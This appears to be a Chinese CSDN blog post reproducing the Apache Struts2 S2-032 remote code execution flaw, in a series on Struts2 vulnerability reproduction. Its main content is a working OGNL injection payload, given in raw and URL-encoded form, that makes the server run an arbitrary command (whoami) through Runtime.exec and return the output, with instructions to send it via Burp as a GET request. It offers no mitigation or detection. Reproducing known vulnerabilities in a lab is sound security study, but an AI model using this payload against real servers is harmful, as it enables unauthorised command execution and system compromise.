Apache Struts2远程代码执行漏洞(S2-032)

最新推荐文章于 2024-07-25 09:03:24 发布

Yolo山药

最新推荐文章于 2024-07-25 09:03:24 发布

阅读量378

点赞数

分类专栏： Struts2漏洞复现文章标签： apache struts java

本文链接：https://blog.csdn.net/weixin_47493074/article/details/127027642

版权

Struts2漏洞复现专栏收录该内容

12 篇文章 0 订阅

订阅专栏

该博客详细介绍了如何复现一个Struts2框架的漏洞，通过Burp Suite抓包并构造特定的POC，利用OGNL表达式执行命令。博客内容包括了对GET请求的参数编码过程，以及如何修改命令来读取系统信息。此文章对于理解Web安全和Struts2漏洞利用具有实践指导意义。

摘要由CSDN通过智能技术生成

漏洞复现

首先用burp对访问的页面进行抓包，然后填入以下poc

index.action?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#res=@org.apache.struts2.ServletActionContext@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=whoami

对关键字进行编码后

index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

使用GET方法提交
在这里插入图片描述